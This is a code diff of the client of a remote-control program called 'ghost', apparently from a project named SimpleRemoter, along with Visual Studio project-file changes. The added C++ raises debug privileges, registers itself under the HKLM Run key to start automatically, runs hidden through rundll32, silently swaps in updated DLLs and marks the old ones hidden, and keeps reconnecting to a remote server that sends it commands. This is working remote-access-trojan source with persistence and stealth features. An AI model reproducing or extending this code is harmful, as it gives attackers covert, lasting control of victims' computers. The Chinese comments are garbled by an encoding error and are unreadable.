CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0, CLIENT_TYPE_ONE};
// Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL g_bExit = 0;
// <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
BOOL g_bThreadExit = 0;
HINSTANCE g_hInstance = NULL; HINSTANCE g_hInstance = NULL;
DWORD WINAPI StartClient(LPVOID lParam); DWORD WINAPI StartClient(LPVOID lParam);
@@ -20,6 +34,66 @@ DWORD WINAPI StartClient(LPVOID lParam);
enum { E_RUN, E_STOP } status; enum { E_RUN, E_STOP } status;
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
void DebugPrivilege()
{
HANDLE hToken = NULL;
//<2F>򿪵<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (hRet)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>޵<EFBFBD>LUID
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
}
}
/**
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*/
BOOL SetSelfStart(const char* sPath, const char* sNmae)
{
DebugPrivilege();
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
HKEY hKey = NULL;
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
if (lRet != ERROR_SUCCESS)
return FALSE;
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
RegCloseKey(hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
return lRet == ERROR_SUCCESS;
}
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22>߼<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
// step2: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"ϵͳ"<22><><EFBFBD><EFBFBD>ϵͳΪ<CDB3><CEAA><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD>
BOOL CALLBACK callback(DWORD CtrlType) BOOL CALLBACK callback(DWORD CtrlType)
{ {
if (CtrlType == CTRL_CLOSE_EVENT) if (CtrlType == CTRL_CLOSE_EVENT)
@@ -33,12 +107,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
int main(int argc, const char *argv[]) int main(int argc, const char *argv[])
{ {
status = E_RUN; if (!SetSelfStart(argv[0], REG_NAME))
if (argc < 3)
{ {
std::cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n"; std::cout << "<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
return -1;
} }
status = E_RUN;
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe"); HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
if (ERROR_ALREADY_EXISTS == GetLastError()) if (ERROR_ALREADY_EXISTS == GetLastError())
{ {
@@ -47,17 +122,33 @@ int main(int argc, const char *argv[])
} }
SetConsoleCtrlHandler(&callback, TRUE); SetConsoleCtrlHandler(&callback, TRUE);
const char *szServerIP = argv[1]; if (argc>=3)
int uPort = atoi(argv[2]); {
printf("[remote] %s:%d\n", szServerIP, uPort); g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
}
if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) {
printf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
Sleep(3000);
return -1;
}
printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); // <20><>ȡ<EFBFBD><C8A1>ǰģ<C7B0><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD><EFBFBD><EFBFBD>HINSTANCE<43><45>
g_uPort = uPort; g_hInstance = GetModuleHandle(NULL);
if (g_hInstance != NULL) {
std::cout << "HINSTANCE: " << g_hInstance << std::endl;
} else {
std::cerr << "Failed to get HINSTANCE" << std::endl;
}
do{
g_bExit = 0;
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
WaitForSingleObject(hThread, INFINITE); WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread); CloseHandle(hThread);
}while (E_RUN == status && 1 != g_bExit);
status = E_STOP; status = E_STOP;
CloseHandle(hMutex); CloseHandle(hMutex);
@@ -85,15 +176,22 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
return TRUE; return TRUE;
} }
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{ {
memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); g_bExit = FALSE;
g_uPort = uPort; if (strlen(szServerIP)>0 && uPort>0)
{
g_SETTINGS.SetServer(szServerIP, uPort);
}
g_SETTINGS.SetType(CLIENT_TYPE_DLL);
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
if (hThread == NULL) {
return;
}
#ifdef _DEBUG #ifdef _DEBUG
WaitForSingleObject(hThread, 200); WaitForSingleObject(hThread, INFINITE);
#else #else
WaitForSingleObject(hThread, INFINITE); WaitForSingleObject(hThread, INFINITE);
#endif #endif
@@ -103,26 +201,122 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD> // ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; } extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ // <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; } extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
// copy from: SimpleRemoter\client\test.cpp
// <20><><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>DLL
void RunNewDll(const char* cmdLine) {
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
*(p + 1) = 0;
std::string folder = path;
std::string oldFile = folder + "ServerDll.old";
std::string newFile = folder + "ServerDll.new";
strcpy(p + 1, "ServerDll.dll");
BOOL ok = TRUE;
if (_access(newFile.c_str(), 0) != -1) {
if (_access(oldFile.c_str(), 0) != -1)
{
if (!DeleteFileA(oldFile.c_str()))
{
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
ok = FALSE;
}
}
if (ok && !MoveFileA(path, oldFile.c_str())) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
if (_access(path, 0) != -1)
{
ok = FALSE;
}
}
else {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
std::cout << "File created and set to hidden: " << oldFile << std::endl;
}
}
if (ok && !MoveFileA(newFile.c_str(), path)) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
MoveFileA(oldFile.c_str(), path);// recover
}
else if (ok) {
std::cout << "Using new file: " << newFile << std::endl;
}
}
char cmd[1024];
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
}
/* <20><><EFBFBD>пͻ<D0BF><CDBB>˵ĺ<CBB5><C4BA>Ĵ<EFBFBD><C4B4><EFBFBD>. <20><>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><E5B5BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> rundll32 <20><><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>.
HWND hwnd: <20><><EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8>Ϊ NULL<4C><4C><EFBFBD><EFBFBD>
HINSTANCE hinst: DLL <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPSTR lpszCmdLine: <20><><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nCmdShow: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ״̬<D7B4><CCAC>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>
*/
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
char message[256] = { 0 };
if (strlen(lpszCmdLine) != 0) {
strcpy_s(message, lpszCmdLine);
}else if (g_SETTINGS.IsValid())
{
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
}
std::istringstream stream(message);
std::string item;
std::vector<std::string> result;
while (std::getline(stream, item, ':')) {
result.push_back(item);
}
if (result.size() == 1)
{
result.push_back("80");
}
if (result.size() != 2) {
MessageBox(hwnd, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ!", "<EFBFBD><EFBFBD>ʾ", MB_OK);
return;
}
do
{
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
while (!IsStoped())
Sleep(20);
} while (!IsExit());
if (IsExit() == 1)
return;
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
RunNewDll(message);
}
#endif #endif
DWORD WINAPI StartClient(LPVOID lParam) DWORD WINAPI StartClient(LPVOID lParam)
{ {
IOCPClient *ClientObject = new IOCPClient(); IOCPClient *ClientObject = new IOCPClient();
g_bThreadExit = false;
while (!g_bExit) while (!g_bExit)
{ {
DWORD dwTickCount = GetTickCount(); DWORD dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort)) if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
{ {
for (int k = 500; !g_bExit && --k; Sleep(10)); for (int k = 500; !g_bExit && --k; Sleep(10));
continue; continue;
} }
//׼<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //׼<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SendLoginInfo(ClientObject, GetTickCount()-dwTickCount); SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount, g_SETTINGS.ClientType());
CKernelManager Manager(ClientObject); CKernelManager Manager(ClientObject);
bool bIsRun = 0; bool bIsRun = 0;
@@ -133,6 +327,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
bIsRun = ClientObject->IsRunning(); bIsRun = ClientObject->IsRunning();
} while (bIsRun && ClientObject->IsConnected() && !g_bExit); } while (bIsRun && ClientObject->IsConnected() && !g_bExit);
while (GetTickCount64() - dwTickCount < 5000 && !g_bExit)
Sleep(200);
} }
cout<<"StartClient end\n"; cout<<"StartClient end\n";

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations"> <ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32"> <ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration> <Configuration>Debug</Configuration>
@@ -14,19 +14,20 @@
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid> <ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
<RootNamespace>ClientDll</RootNamespace> <RootNamespace>ClientDll</RootNamespace>
<ProjectName>ServerDll</ProjectName> <ProjectName>ServerDll</ProjectName>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries> <UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset> <PlatformToolset>v110_xp</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>false</UseOfMfc> <UseOfMfc>false</UseOfMfc>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries> <UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset> <PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization> <WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
</PropertyGroup> </PropertyGroup>
@@ -40,7 +41,14 @@
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup> </ImportGroup>
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile> <ClCompile>
<WarningLevel>Level3</WarningLevel> <WarningLevel>Level3</WarningLevel>
@@ -65,7 +73,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile> </ClCompile>
<Link> <Link>
@@ -83,7 +91,6 @@
<ClCompile Include="CaptureVideo.cpp" /> <ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="ClientDll.cpp" /> <ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" /> <ClCompile Include="Common.cpp" />
<ClCompile Include="CursorInfor.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="KernelManager.cpp" /> <ClCompile Include="KernelManager.cpp" />
@@ -106,7 +113,7 @@
<ClInclude Include="Buffer.h" /> <ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="CursorInfor.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="KernelManager.h" /> <ClInclude Include="KernelManager.h" />
@@ -136,6 +143,10 @@
<ItemGroup> <ItemGroup>
<Media Include="Res\msg.wav" /> <Media Include="Res\msg.wav" />
</ItemGroup> </ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
</ImportGroup> </ImportGroup>

View File

@@ -33,9 +33,6 @@
<ClCompile Include="Common.cpp"> <ClCompile Include="Common.cpp">
<Filter>源文件</Filter> <Filter>源文件</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="CursorInfor.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="FileManager.cpp"> <ClCompile Include="FileManager.cpp">
<Filter>源文件</Filter> <Filter>源文件</Filter>
</ClCompile> </ClCompile>
@@ -98,9 +95,6 @@
<ClInclude Include="Common.h"> <ClInclude Include="Common.h">
<Filter>头文件</Filter> <Filter>头文件</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="CursorInfor.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="FileManager.h"> <ClInclude Include="FileManager.h">
<Filter>头文件</Filter> <Filter>头文件</Filter>
</ClInclude> </ClInclude>
@@ -158,6 +152,9 @@
<ClInclude Include="zlib.h"> <ClInclude Include="zlib.h">
<Filter>头文件</Filter> <Filter>头文件</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="CursorInfo.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="Script.rc"> <ResourceCompile Include="Script.rc">
@@ -174,4 +171,12 @@
<Filter>资源文件</Filter> <Filter>资源文件</Filter>
</Media> </Media>
</ItemGroup> </ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="Res\msg.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project> </Project>

View File

@@ -0,0 +1,156 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
<RootNamespace>ClientDll</RootNamespace>
<ProjectName>ServerDll</ProjectName>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>false</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
